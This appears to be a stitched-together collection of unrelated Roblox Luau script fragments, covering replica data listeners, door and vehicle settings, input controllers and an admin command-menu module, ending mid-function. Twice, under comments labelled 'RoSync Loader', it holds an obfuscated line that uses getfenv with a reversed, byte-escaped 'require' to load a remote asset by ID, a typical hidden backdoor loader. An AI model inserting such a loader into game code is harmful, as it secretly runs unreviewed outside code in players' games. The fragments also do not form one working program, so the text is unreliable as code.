local replica = Replicas[replica_id]
-- Getting path pointer and listener table:
local pointer = replica.Data
local listeners = replica._table_listeners
for i = 1, #path_array do
pointer = pointer[path_array[i]]
if listeners ~= nil then
listeners = listeners[1][path_array[i]]
end
end
-- Setting values:
for key, value in pairs(values) do
-- Set value:
local old_value = pointer[key]
pointer[key] = value
-- Signaling listeners:
if old_value ~= value and listeners ~= nil then
if old_value == nil then
if listeners[3] ~= nil then -- "NewKey" listeners
for _, listener in ipairs(listeners[3]) do
listener(value, key)
end
end
end
local key_listeners = listeners[1][key]
if key_listeners ~= nil then
if key_listeners[2] ~= nil then -- "Change" listeners
for _, listener in ipairs(key_listeners[2]) do
listener(value, old_value)
end
end
end
end
end
-- Raw listeners:
for _, listener in ipairs(replica._raw_listeners) do
listener("SetValues", path_array, values)
end
end
local function ReplicaArrayInsert(replica_id, path_array, value) --> new_index
local replica = Replicas[replica_id]
-- Getting path pointer and listener table:
local pointer = replica.Data
local listeners = replica._table_listeners
for i = 1, #path_array do
pointer = pointer[path_array[i]]
if listeners ~= nil then
listeners = listeners[1][path_array[i]]
end
end
-- Setting value:
table.insert(pointer, value)
-- Signaling listeners:
local new_index = #pointer
if listeners ~= nil then
if listeners[4] ~= nil then -- "ArrayInsert" listeners
for _, listener in ipairs(listeners[4]) do
listener(new_index, value)
end
end
end
-- Raw listeners:
for _, listener in ipairs(replica._raw_listeners) do
listener("ArrayInsert", path_array, value, new_index)
end
return new_index
end
local function ReplicaArraySet(replica_id, path_array, index, value)
local replica = Replicas[replica_id]
-- Getting path pointer and listener table:
local pointer = replica.Data
local listeners = replica._table_listeners
for i = 1, #path_array do
pointer = pointer[path_array[i]]
if listeners ~= nil then
listeners = listeners[1][path_array[i]]
end
end
-- Setting value:
pointer[index] = value
-- Signaling listeners:
if listeners ~= nil then
if listeners[5] ~= nil then -- "ArraySet" listeners
for _, listener in ipairs(listeners[5]) do
listener(index, value)
end
end
end
-- Raw listeners:
for _, listener in ipairs(replica._raw_listeners) do
listener("ArraySet", path_array, index, value)
end
end
local function ReplicaArrayRemove(replica_id, path_array, index) --> removed_value
local replica = Replicas[replica_id]
-- Getting path pointer and listener table:
local pointer = replica.Data
local listeners = replica._table_listeners
for i = 1, #path_array do
pointer = pointer[path_array[i]]
if listeners ~= nil then
listeners = listeners[1][path_array[i]]
end
end
-- Setting value:
local old_value = table.remove(pointer, index)
-- Signaling listeners:
if listeners ~= nil then
if listeners[6] ~= nil then -- "ArrayRemove" listeners
for _, listener in ipairs(listeners[6]) do
listener(index, old_value)
end
end
end
-- Raw listeners:
for _, listener in ipairs(replica._raw_listeners) do
listener("ArrayRemove", path_array, index, old_value)
end
return old_value
end
|
--[[
local function touchEnded(otherPart)
if(otherPart.Name == "HumanoidRootPart" ) then
local player = game.Players:FindFirstChild(otherPart.Parent.Name)
if(player) then
--print("touch ended")
playersNear[player] = nil
if(next(playersNear) == nil) then
if(doorState == DoorState.Open) then
StartClosing()
end
end
end
end
end]]
|
trigger.Touched:Connect(touched)
|
-- handle to the game service object
|
r = game:service("RunService")
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -6.5
Tune.RCamber = -7.5
Tune.FToe = 0
Tune.RToe = 0
|
--[[*
* Converts a list of globs into a function that matches a path against the
* globs.
*
* Every time picomatch is called, it will parse the glob strings and turn
* them into regexp instances. Instead of calling picomatch repeatedly with
* the same globs, we can use this function which will build the picomatch
* matchers ahead of time and then have an optimized path for determining
* whether an individual path matches.
*
* This function is intended to match the behavior of `micromatch()`.
*
* @example
* const isMatch = globsToMatcher(['*.js', '!*.test.js']);
* isMatch('pizza.js'); // true
* isMatch('pizza.test.js'); // false
]]
|
local function globsToMatcher(globs: Array<Config_Glob>): MatcherFn
if #globs == 0 then
-- Since there were no globs given, we can simply have a fast path here and
-- return with a very simple function.
return function()
return false
end
end
local matchers = Array.map(globs, function(glob)
if not globsToMatchersMap:has(glob) then
local isMatch = picomatch(glob, picomatchOptions, true) :: Matcher
local matcher = {
isMatch = isMatch,
-- Matchers that are negated have different behavior than matchers that
-- are not negated, so we need to store this information ahead of time.
negated = isMatch.state.negated or Boolean.toJSBoolean(isMatch.state.negatedExtglob),
}
globsToMatchersMap:set(glob, matcher)
end
return globsToMatchersMap:get(glob) :: { isMatch: Matcher, negated: boolean }
end)
return function(path)
-- ROBLOX FIXME START: implement replacePathSepForGlob
local replacedPath = path
-- local replacedPath = replacePathSepForGlob(path)
-- ROBLOX FIXME END
local kept = nil
local negatives = 0
for i = 1, #matchers do
local isMatch, negated
local ref = matchers[i]
isMatch, negated = ref.isMatch, ref.negated
if negated then
negatives += 1
end
local matched = isMatch(replacedPath)
if not matched and negated then
-- The path was not matched, and the matcher is a negated matcher, so we
-- want to omit the path. This means that the negative matcher is
-- filtering the path out.
kept = false
elseif matched and not negated then
-- The path was matched, and the matcher is not a negated matcher, so we
-- want to keep the path.
kept = true
end
end
-- If all of the globs were negative globs, then we want to include the path
-- as long as it was not explicitly not kept. Otherwise only include
-- the path if it was kept. This allows sets of globs that are all negated
-- to allow some paths to be matched, while sets of globs that are mixed
-- negated and non-negated to cause the negated matchers to only omit paths
-- and not keep them.
return if negatives == #matchers then kept ~= false else Boolean.toJSBoolean(kept)
end
end
exports.default = globsToMatcher
return exports
|
-- << VARIABLES >>
|
local topBar = main.gui.CustomTopBar
local coreToHide = {"Chat", "PlayerList"}
local originalCoreStates = {};
local cmdBar = main.gui.CmdBar
local currentProps = {}
local originalTopBarTransparency = 1
local originalTopBarVisibility = true
local mainProps
mainProps = {
maxSuggestions = 5;
mainParent = cmdBar;
textBox = cmdBar.SearchFrame.TextBox;
rframe = cmdBar.ResultsFrame;
suggestionPos = 1;
suggestionDisplayed = 0;
forceExecute = false;
highlightColor = Color3.fromRGB(50,50,50);
otherColor = Color3.fromRGB(80,80,80);
suggestionLabels = {};
currentBarCommand = nil;
}
|
--[[ The Module ]]
|
--
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local Gamepad = setmetatable({}, BaseCharacterController)
Gamepad.__index = Gamepad
function Gamepad.new(CONTROL_ACTION_PRIORITY)
local self = setmetatable(BaseCharacterController.new(), Gamepad)
self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.activeGamepad = NONE -- Enum.UserInputType.Gamepad1, 2, 3...
self.gamepadConnectedConn = nil
self.gamepadDisconnectedConn = nil
return self
end
function Gamepad:Enable(enable: boolean): boolean
if not UserInputService.GamepadEnabled then
return false
end
if enable == self.enabled then
-- Module is already in the state being requested. True is returned here since the module will be in the state
-- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate
-- no action was necessary. False indicates failure to be in requested/expected state.
return true
end
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.moveVector = ZERO_VECTOR3
self.isJumping = false
if enable then
self.activeGamepad = self:GetHighestPriorityGamepad()
if self.activeGamepad ~= NONE then
self:BindContextActions()
self:ConnectGamepadConnectionListeners()
else
-- No connected gamepads, failure to enable
return false
end
else
self:UnbindContextActions()
self:DisconnectGamepadConnectionListeners()
self.activeGamepad = NONE
end
self.enabled = enable
return true
end
|
---------END LEFT DOOR
|
game.Workspace.DoorClosed.Value = false
end
game.Workspace.DoorValues.Moving.Value = false
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--[[ Last synced 10/14/2020 09:37 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--[[ Last synced 12/11/2020 06:21 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--- FUNCTIONS ---
|
function lookAt(eye, target)
local forwardVector = (target - eye).Unit
local upVector = Vector3.new(0, 1, 0)
-- You have to remember the right hand rule or google search to get this right
local rightVector = forwardVector:Cross(upVector)
local upVector2 = rightVector:Cross(forwardVector)
return CFrame.fromMatrix(eye, rightVector, upVector2)
end
|
--[[ The Module ]]
|
--
local MouseLockController = {}
MouseLockController.__index = MouseLockController
function MouseLockController.new()
local self = setmetatable({}, MouseLockController)
self.isMouseLocked = false
self.savedMouseCursor = nil
self.boundKeys = {Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift} -- defaults
self.mouseLockToggledEvent = Instance.new("BindableEvent")
local boundKeysObj = script:FindFirstChild("BoundKeys")
if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then
-- If object with correct name was found, but it's not a StringValue, destroy and replace
if boundKeysObj then
boundKeysObj:Destroy()
end
boundKeysObj = Instance.new("StringValue")
-- Luau FIXME: should be able to infer from assignment above that boundKeysObj is not nil
assert(boundKeysObj, "")
boundKeysObj.Name = "BoundKeys"
boundKeysObj.Value = "LeftShift,RightShift"
boundKeysObj.Parent = script
end
if boundKeysObj then
boundKeysObj.Changed:Connect(function(value)
self:OnBoundKeysObjectChanged(value)
end)
self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call
end
-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly
GameSettings.Changed:Connect(function(property)
if property == "ControlMode" or property == "ComputerMovementMode" then
self:UpdateMouseLockAvailability()
end
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function()
self:UpdateMouseLockAvailability()
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
self:UpdateMouseLockAvailability()
end)
self:UpdateMouseLockAvailability()
return self
end
function MouseLockController:GetIsMouseLocked()
return self.isMouseLocked
end
function MouseLockController:GetBindableToggleEvent()
return self.mouseLockToggledEvent.Event
end
function MouseLockController:GetMouseLockOffset()
local offsetValueObj: Vector3Value = script:FindFirstChild("CameraOffset") :: Vector3Value
if offsetValueObj and offsetValueObj:IsA("Vector3Value") then
return offsetValueObj.Value
else
-- If CameraOffset object was found but not correct type, destroy
if offsetValueObj then
offsetValueObj:Destroy()
end
offsetValueObj = Instance.new("Vector3Value")
assert(offsetValueObj, "")
offsetValueObj.Name = "CameraOffset"
offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value
offsetValueObj.Parent = script
end
if offsetValueObj and offsetValueObj.Value then
return offsetValueObj.Value
end
return Vector3.new(1.75,0,0)
end
function MouseLockController:UpdateMouseLockAvailability()
local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock
local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable
local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch
local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove
local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable
if MouseLockAvailable~=self.enabled then
self:EnableMouseLock(MouseLockAvailable)
end
end
function MouseLockController:OnBoundKeysObjectChanged(newValue: string)
self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values
for token in string.gmatch(newValue,"[^%s,]+") do
for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do
if token == keyEnum.Name then
self.boundKeys[#self.boundKeys+1] = keyEnum :: Enum.KeyCode
break
end
end
end
self:UnbindContextActions()
self:BindContextActions()
end
|
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
|
local AimInaccuracyStepAmount = .15
|
--[[Handlebars]]
|
--
Tune.SteerAngle = 18 -- Handlebar angle at max lock (in degrees)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
Tune.LowSpeedCut = 60 -- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cutoff will be 40/50, or if your full lock is 40 your cutoff will be 20/30)
Tune.SteerD = 50 -- Dampening of the Low speed steering
Tune.SteerMaxTorque = 4000 -- Force of the the Low speed steering
Tune.SteerP = 500 -- Aggressiveness of the the Low speed steering
|
-- Services --
|
local svcWorkspace = game:GetService("Workspace")
local Camera = svcWorkspace.CurrentCamera
|
--// Global Wrapping
|
Enum = service_Wrap(Enum, true)
rawequal = service.RawEqual
script = service_Wrap(script, true)
game = service_Wrap(game, true)
workspace = service_Wrap(workspace, true)
Instance = {
new = function(obj, parent)
return service_Wrap(oldInstNew(obj, service_UnWrap(parent)), true)
end,
}
require = function(obj, noWrap: boolean?)
return if noWrap == true then oldReq(service_UnWrap(obj)) else service_Wrap(oldReq(service_UnWrap(obj)), true)
end
client.Service = service
client.Module = service_Wrap(client.Module, true)
|
-- https://developer.roblox.com/en-us/api-reference/enum/Material
|
local WATER = -0.60 -- уровень воды
local DELTA = 0.2 -- дельта изменения поверхности
local Players = game:GetService("Players")
|
-- RANK, RANK NAMES & SPECIFIC USERS
|
Ranks = {
{5, "Owner", };
{4, "HeadAdmin", {"Player1","",0}, };
{3, "Admin", {"",0}, };
{2, "Mod", {"",0}, };
{1, "VIP", {"",0}, };
{0, "NonAdmin", };
};
|
-- Create component
|
local ToolButton = Roact.PureComponent:extend(script.Name)
function ToolButton:init()
self:UpdateHotkeyTextSize(self.props.HotkeyLabel)
end
function ToolButton:willUpdate(nextProps)
if self.props.HotkeyLabel ~= nextProps.HotkeyLabel then
self:UpdateHotkeyTextSize(nextProps.HotkeyLabel)
end
end
function ToolButton:UpdateHotkeyTextSize(Text)
self.HotkeyTextSize = TextService:GetTextSize(
Text,
9,
Enum.Font.Gotham,
Vector2.new(math.huge, math.huge)
)
end
function ToolButton:render()
return new('ImageButton', {
BackgroundColor3 = self.props.Tool.Color.Color;
BackgroundTransparency = (self.props.CurrentTool == self.props.Tool) and 0 or 1;
BorderSizePixel = 0;
Image = self.props.IconAssetId;
AutoButtonColor = false;
[Roact.Event.Activated] = function ()
self.props.Core.EquipTool(self.props.Tool)
end;
}, {
Corners = new('UICorner', {
CornerRadius = UDim.new(0, 3);
});
Hotkey = new('TextLabel', {
BackgroundTransparency = 1;
Position = UDim2.new(0, 3, 0, 3);
Size = UDim2.fromOffset(self.HotkeyTextSize.X, self.HotkeyTextSize.Y);
Font = Enum.Font.Gotham;
Text = self.props.HotkeyLabel;
TextColor3 = Color3.fromRGB(255, 255, 255);
TextSize = 9;
TextXAlignment = Enum.TextXAlignment.Left;
TextYAlignment = Enum.TextYAlignment.Top;
});
})
end
return ToolButton
|
--!strict
|
local Sift = script.Parent.Parent
local CopyDeep = require(script.Parent.copyDeep)
local None = require(Sift.None)
|
--- Registers a command based purely on its definition.
-- Prefer using Registry:RegisterCommand for proper handling of server/client model.
|
function Registry:RegisterCommandObject (commandObject)
for key in pairs(commandObject) do
if self.CommandMethods[key] == nil then
error("Unknown key/method in command " .. (commandObject.Name or "unknown command") .. ": " .. key)
end
end
if commandObject.Args then
for i, arg in pairs(commandObject.Args) do
for key in pairs(arg) do
if self.CommandArgProps[key] == nil then
error(('Unknown propery in command "%s" argument #%d: %s'):format(commandObject.Name or "unknown", i, key))
end
end
end
end
if RunService:IsClient() and commandObject.Data and commandObject.Run then
error(('Invalid command implementation provided for "%s": "Data" and "Run" sections are mutually exclusive'):format(commandObject.Name or "unknown"))
end
if commandObject.AutoExec and RunService:IsClient() then
table.insert(self.AutoExecBuffer, commandObject.AutoExec)
self:FlushAutoExecBufferDeferred()
end
-- Unregister the old command if it exists...
local oldCommand = self.Commands[commandObject.Name:lower()]
if oldCommand and oldCommand.Aliases then
for _, alias in pairs(oldCommand.Aliases) do
self.Commands[alias:lower()] = nil
end
elseif not oldCommand then
self.CommandsArray[#self.CommandsArray + 1] = commandObject
end
self.Commands[commandObject.Name:lower()] = commandObject
if commandObject.Aliases then
for _, alias in pairs(commandObject.Aliases) do
self.Commands[alias:lower()] = commandObject
end
end
end
|
-- Connect the function to new player character additions
|
game.Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(onCharacterAdded)
end)
|
-- Other Variables
|
local Tools = ServerStorage.Tools
local Membership = Enum.MembershipType
local None = Membership.None
local Premium = Membership.Premium
local ToolSettings = require(ServerStorage.ToolConfig)
|
--== SETTINGS ==--
|
local Key = Enum.KeyCode.F
local AnimationLength = 5.01
|
--Если нажата
|
Mos.KeyDown:connect(function(key)
if key:lower() == string.char(48) then
game.Workspace.Camera.FieldOfView = game.Workspace.Camera.FieldOfView + 1.6
local Player1 = game.Players.LocalPlayer.Character.Humanoid
if Player1 then
Player1.WalkSpeed = 25
end
end
end)
|
-- << FUNCTIONS >>
|
function module:ReplicateEffect(commandName, args)
main.signals.ReplicateEffect:FireServer(commandName, args)
end
function module:UpdateIconVisiblity()
local newTransparency = (main.pdata.Rank >= main.settings.RankRequiredToViewIcon and 0) or 1
main.tweenService:Create(main.gui.CustomTopBar.ImageButton, TweenInfo.new(1), {ImageTransparency = newTransparency}):Play()
end
function module:DeactivateCommand(commandName)
main.commandsAllowedToUse[commandName] = nil
main.commandsActive[commandName] = nil
if not main.commandsToDisableCompletely[commandName] then
local frame = main.gui:FindFirstChild("CommandMenu"..commandName)
main:GetModule("cf"):DestroyCommandMenuFrame(frame)
end
end
function module:EndCommand(commandName)
main.commandsActive[commandName] = nil
main:GetModule("cf"):UpdateCommandMenu(commandName)
end
function module:ActivateClientCommand(commandName, extraDetails)
if main.commandsAllowedToUse[commandName] and not main.commandsActive[commandName] then
if not(extraDetails and extraDetails.DontForceActivate and main.gui:FindFirstChild("CommandMenu"..commandName)) then
main.commandsActive[commandName] = true
spawn(function()
main:GetModule("cf"):UpdateCommandMenu(commandName)
local clientCommand = main:GetModule("ClientCommands")[commandName]
if clientCommand then
local Function = clientCommand["Activate"]
if Function then
Function(clientCommand)
end
end
main.commandsActive[commandName] = nil
end)
end
end
end
function module:GetCF(part, isFor)
--Credit to Scel for this
local cframe = part.CFrame
local noRot = CFrame.new(cframe.p)
local x, y, z = (workspace.CurrentCamera.CFrame - workspace.CurrentCamera.CFrame.p):toEulerAnglesXYZ()
return noRot * CFrame.Angles(isFor and z or x, y, z)
end
function module:GetNextMovement(deltaTime, speed)
local nextMove = Vector3.new()
local directions = {
Left = Vector3.new(-1, 0, 0);
Right = Vector3.new(1, 0, 0);
Forwards = Vector3.new(0, 0, -1);
Backwards = Vector3.new(0, 0, 1);
Up = Vector3.new(0, 1, 0);
Down = Vector3.new(0, -1, 0);
}
if main.device == "Computer" then
for i,v in pairs(main.movementKeysPressed) do
local vector = directions[v]
if vector then
nextMove = nextMove + vector
end
end
else
local humanoid = main:GetModule("cf"):GetHumanoid()
local hrp = main:GetModule("cf"):GetHRP()
if humanoid then
local md = humanoid.MoveDirection
for i,v in pairs(directions) do
local isFor = false
if i == "Forwards" or i == "Backwards" then
isFor = true
end
local vector = ((module:GetCF(hrp, true)*CFrame.new(v)) - hrp.CFrame.p).p;
if (vector - md).magnitude <= 1.05 and md ~= Vector3.new(0,0,0) then
nextMove = nextMove + v
end
end
end
end
return CFrame.new(nextMove * speed * deltaTime), nextMove
end
function module:GetAssetImage(assetId)
return("https://www.roblox.com/asset-thumbnail/image?assetId="..assetId.."&width=420&height=420&format=png")
end
function module:GetUserImage(userId)
return("https://www.roblox.com/headshot-thumbnail/image?userId="..userId.."&width=420&height=420&format=png")
end
function module:ShowPermRankedUser(details)
local plrName, userId, rankedById = details[1], details[2], details[3]
permRank.PlrName.Text = plrName
permRank.PlrImage.Image = module:GetUserImage(userId)
permRank.RankedBy.TextLabel.Text = main:GetModule("cf"):GetName(rankedById)
main:GetModule("cf"):ShowWarning("PermRank")
end
function module:ShowBannedUser(banDetails)
local plrName, userId, reason, bannedById = banDetails[1], banDetails[2], banDetails[3], banDetails[4]
local reasonLabel = unBan.Reason.TextLabel
unBan.PlrName.Text = plrName
unBan.PlrImage.Image = module:GetUserImage(userId)
unBan.BannedBy.TextLabel.Text = main:GetModule("cf"):GetName(bannedById)
reasonLabel.Text = "'"..reason.."'"
if reasonLabel.Text == "" or reasonLabel.Text == " " then
reasonLabel.Text = "Empty"
reasonLabel.Font = Enum.Font.SourceSansItalic
else
reasonLabel.Font = Enum.Font.SourceSans
end
main:GetModule("cf"):ShowWarning("UnBan")
end
function module:ShowWarning(warningName)
for a,b in pairs(main.warnings:GetChildren()) do
if b.Name == warningName then
b.Visible = true
main.warnings.Visible = true
else
b.Visible = false
end
end
end
function module:SetCameraSubject(newSubject)
local face = main:GetModule("cf"):GetFace()
if face then
local originalT = face.Transparency
main.camera.CameraSubject = newSubject
face.Transparency = originalT
end
end
function module:DestroyCommandMenuFrame(frame)
if frame then
for i,v in pairs(main.commandMenus) do
if v == frame then
table.remove(main.commandMenus, i)
end
end
frame:Destroy()
end
end
function module:UpdateCommandMenu(commandName, frame)
if frame == nil then
frame = main.gui:FindFirstChild("CommandMenu"..commandName)
end
if frame then
local mainFrame = frame.MainFrame
local status = mainFrame:FindFirstChild("Status")
if status then
if (main.commandsToDisableCompletely[commandName] and main.commandsAllowedToUse[commandName]) or main.commandsActive[commandName] then
mainFrame.Status.TextLabel.Text = "On"
mainFrame.Status.TextLabel.TextColor3 = Color3.fromRGB(0, 225, 0)
mainFrame.ChangeStatus.TextLabel.Text = "DISABLE"
else
mainFrame.Status.TextLabel.Text = "Off"
mainFrame.Status.TextLabel.TextColor3 = Color3.fromRGB(255, 0, 0)
mainFrame.ChangeStatus.TextLabel.Text = "ENABLE"
end
end
end
end
function module:CreateNewCommandMenu(commandName, menuDetails, menuType, forceOnTop)
----------------------
local framesToDestroyOnClose = {4, 5, 8, 11, 12}
local framesWithIncrementalNames = {4}
local framesToDestroyExistingFrames = {--[[1,]] 5, 6, 7, 9, 12}
----------------------
menuType = tonumber(menuType)
local destroyFrameOnClose = main:GetModule("cf"):FindValue(framesToDestroyOnClose, menuType)
local isAnIncrementalName = main:GetModule("cf"):FindValue(framesWithIncrementalNames, menuType)
local destroyExistingFrames = main:GetModule("cf"):FindValue(framesToDestroyExistingFrames, menuType)
local frameName = "CommandMenu"..commandName
if isAnIncrementalName then
frameName = "CommandMenu"..commandName..pmId
pmId = pmId + 1
end
local frame = main.gui:FindFirstChild(frameName)
if frame and destroyExistingFrames then
frame:Destroy()
frame = nil
end
if not frame then
local frameTemplate = menuTemplates["Template"..menuType]
local mainFrameTemplate = frameTemplate.MainFrame
frame = frameTemplate:Clone()
frame.Name = frameName
local dragBar = frame.DragBar
local mainFrame = frame.MainFrame
local commandNameSplit = string.upper(string.gsub(commandName, "%u", function(c) return " "..c end))
dragBar.Title.Text = commandNameSplit
main:GetModule("InputHandler"):MakeFrameDraggable(frame)
dragBar.Close.MouseButton1Down:Connect(function()
if destroyFrameOnClose then
module:DestroyCommandMenuFrame(frame)
else
frame.Visible = false
end
end)
local originalY = mainFrame.Position.Y.Scale
local yTweenTarget = -(1 - dragBar.Size.Y.Scale - originalY)
local minimise = dragBar:FindFirstChild("Minimise")
if minimise then
minimise.MouseButton1Down:Connect(function()
if minimise.TextLabel.Text == "-" then
main.tweenService:Create(mainFrame, TweenInfo.new(0.5), {Position = UDim2.new(0,0,yTweenTarget,-1)}):Play()
minimise.TextLabel.Text = "+"
else
main.tweenService:Create(mainFrame, TweenInfo.new(0.5), {Position = UDim2.new(0,0,originalY,0)}):Play()
minimise.TextLabel.Text = "-"
end
end)
end
-- << SHARED >>
--updateCanvasSize(scrollFrame, scrollFrame["Answer"..#data.Answers], scrollFrame.Question)
local function updateCanvasSize(scrollFrame, finalLabel, firstLabel)
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, (finalLabel.AbsolutePosition.Y - firstLabel.AbsolutePosition.Y) + finalLabel.AbsoluteSize.Y)
end
local function selectToggle(selectFrame, toggleName, ov)
local defaultToggles, finalFunction, scrollFrame, finalLabel, firstLabel = ov[1],ov[2],ov[3],ov[4],ov[5]
local button = selectFrame:FindFirstChild(toggleName)
if not button then
toggleName = defaultToggles[selectFrame.Name]
end
---------------
if selectFrame.Name == "AC Server" and toggleName == "All" and main.pdata.Rank < main.commandRanks.globalvote then
main:GetModule("Notices"):Notice("Error", main.hdAdminCoreName, "Must be '".. main:GetModule("cf"):GetRankName(main.commandRanks.globalvote).."' to use ;globalVote")
else
--------------
for a,b in pairs(selectFrame:GetChildren()) do
if b:IsA("TextButton") then
finalFunction(b, toggleName, selectFrame)
end
end
if finalLabel and firstLabel then
updateCanvasSize(scrollFrame, finalLabel, firstLabel)
end
end
end
local function setupDefaultToggles(defaultToggles, scrollFrame, playerTextBox, organisedVariables, setupFunction, timeFrame, playerValue)
local focused = false
playerTextBox.Focused:Connect(function()
focused = true
end)
playerTextBox.FocusLost:Connect(function()
wait()
focused = false
end)
for frameName, _ in pairs(defaultToggles) do
local selectFrame = scrollFrame[frameName]
for a,b in pairs(selectFrame:GetChildren()) do
if b:IsA("TextButton") then
b.MouseButton1Down:Connect(function()
if not focused then
selectToggle(selectFrame, b.Name, organisedVariables)
end
end)
end
end
setupFunction(selectFrame)
end
if timeFrame then
for a,b in pairs(timeFrame:GetChildren()) do
local textBox = b:FindFirstChild("TextBox")
if textBox then
local originalNumber = textBox.Text
textBox.Focused:Connect(function()
focused = true
end)
textBox.FocusLost:connect(function(property)
local newNumber = tonumber(textBox.Text)
if newNumber then
if newNumber < 0 then
newNumber = 0
elseif b.Name == "Minutes" and newNumber > 60 then
newNumber = 60
elseif b.Name == "Hours" and newNumber > 24 then
newNumber = 24
elseif b.Name == "Days" and newNumber > 100000 then
newNumber = 100000
end
originalNumber = newNumber
end
textBox.Text = originalNumber
wait()
focused = false
end)
end
end
end
if playerValue then
local lowerPlayerValue = string.lower(playerValue)
local newPlayerValue = playerValue
for i,v in pairs(main.qualifiers) do
if v == lowerPlayerValue then
newPlayerValue = v
break
end
end
if not newPlayerValue then
for i,plr in pairs(main.players:GetChildren()) do
if string.sub(string.lower(plr.Name), 1, #lowerPlayerValue) == lowerPlayerValue then
newPlayerValue = plr.Name
break
end
end
end
playerTextBox.Text = newPlayerValue or ""
end
end
local function setupFinalResult(frame, submitButton, loadingButton, serverInvocationFunction, retrievedDataFunction, broadcastFunction)
local fr = frame.FinalResult
local frFrame = fr.Frame
local example = frFrame.Example
local frLoading = frFrame.Loading
local frBroadcast = frFrame.Broadcast
fr.Visible = false
frFrame.CloseX.MouseButton1Down:Connect(function()
fr.Visible = false
end)
frBroadcast.MouseButton1Down:Connect(function()
frLoading.Visible = true
frBroadcast.Visible = false
broadcastFunction()
module:DestroyCommandMenuFrame(frame)
end)
submitButton.MouseButton1Down:Connect(function()
loadingButton.Visible = true
submitButton.Visible = false
local data = serverInvocationFunction()
if type(data) == "table" then
retrievedDataFunction(data)
else
local errorMessage = tostring(data) or "Error"
loadingButton.TextLabel.Text = errorMessage
wait(1)
loadingButton.TextLabel.Text = "Loading..."
end
loadingButton.Visible = false
submitButton.Visible = true
end)
end
local function setupPollResults(scrollFrame, data)
local exampleAnswerTemplate = scrollFrame.AnswerTemplate
exampleAnswerTemplate.Visible = false
scrollFrame.Question.TextLabel.Text = data.Question
for i,v in pairs(scrollFrame:GetChildren()) do
if v:IsA("TextButton") and v ~= exampleAnswerTemplate then
v:Destroy()
end
end
for i,answer in pairs(data.Answers) do
local answerButton = exampleAnswerTemplate:Clone()
answerButton.Visible = true
answerButton.Name = "Answer"..i
answerButton.TextLabel.Text = i..". "..answer
answerButton.BackgroundColor3 = module:GetLabelBackgroundColor(i)
---------------
local fade = answerButton.Fade
local selectedAnswer = false
if data.Remote then
answerButton.MouseButton1Up:Connect(function()
scrollFrame.Parent.Parent.Visible = false
pcall(function() data.Remote:FireServer(i) end)
end)
end
answerButton.InputBegan:Connect(function(input)
main.tweenService:Create(fade, TweenInfo.new(0.2), {BackgroundTransparency = 0.8}):Play()
end)
answerButton.InputEnded:Connect(function(input)
main.tweenService:Create(fade, TweenInfo.new(0.2), {BackgroundTransparency = 1}):Play()
end)
---------------
answerButton.Parent = scrollFrame
end
spawn(function()
wait(0.1)
updateCanvasSize(scrollFrame, scrollFrame["Answer"..#data.Answers], scrollFrame.Question)
end)
end
-------------- << MENU TYPE 1 >> --------------
if menuType == 1 then
local newPosition = UDim2.new(1, -255, 1, -155)
if main.device ~= "Mobile" and frame.Position ~= newPosition then
frame.Position = newPosition
frame.Size = UDim2.new(0, 250, 0, 150)
end
local infoFrame = mainFrame.InfoFrame
local min
infoFrame.Visible = false
mainFrame.Desc.Visible = false
mainFrame.InputFrame.Visible = false
local menuType = menuDetails[1]
if menuType == "Info" then
mainFrame.Desc.Text = menuDetails[2]
mainFrame.Desc.Visible = true
elseif menuType == "Input" then
local inputType = menuDetails[2]
local textBox = mainFrame.InputFrame.Frame.TextBox
local defaultValue = main.commandSpeeds[commandName]
mainFrame.InputFrame.InputName.Text = inputType..":"
textBox.Text = defaultValue
--
if main.infoFramesViewed[inputType] then
main.infoFramesViewed[inputType] = nil
if inputType == "Speed" then
local infoLabels = {}
if main.device == "Computer" then
infoLabels = {
{"Movement", "WASD"};
{"Toggle flight", "E"};
{"Up & Down", "R & F"};
}
else
infoLabels = {
{"Movement", "Thumbstick"};
{"Toggle flight", "Double-jump"};
}
end
for i = 1,3 do
local label = infoFrame["Info"..i]
local labelInfo = infoLabels[i]
if labelInfo then
label.Text = labelInfo[1]..":"
label.TextLabel.Text = labelInfo[2]
label.Visible = true
else
label.Visible = false
end
end
infoFrame.Okay.MouseButton1Down:Connect(function()
infoFrame.Visible = false
end)
infoFrame.Visible = true
end
end
local originalText = textBox.Text
textBox.FocusLost:Connect(function()
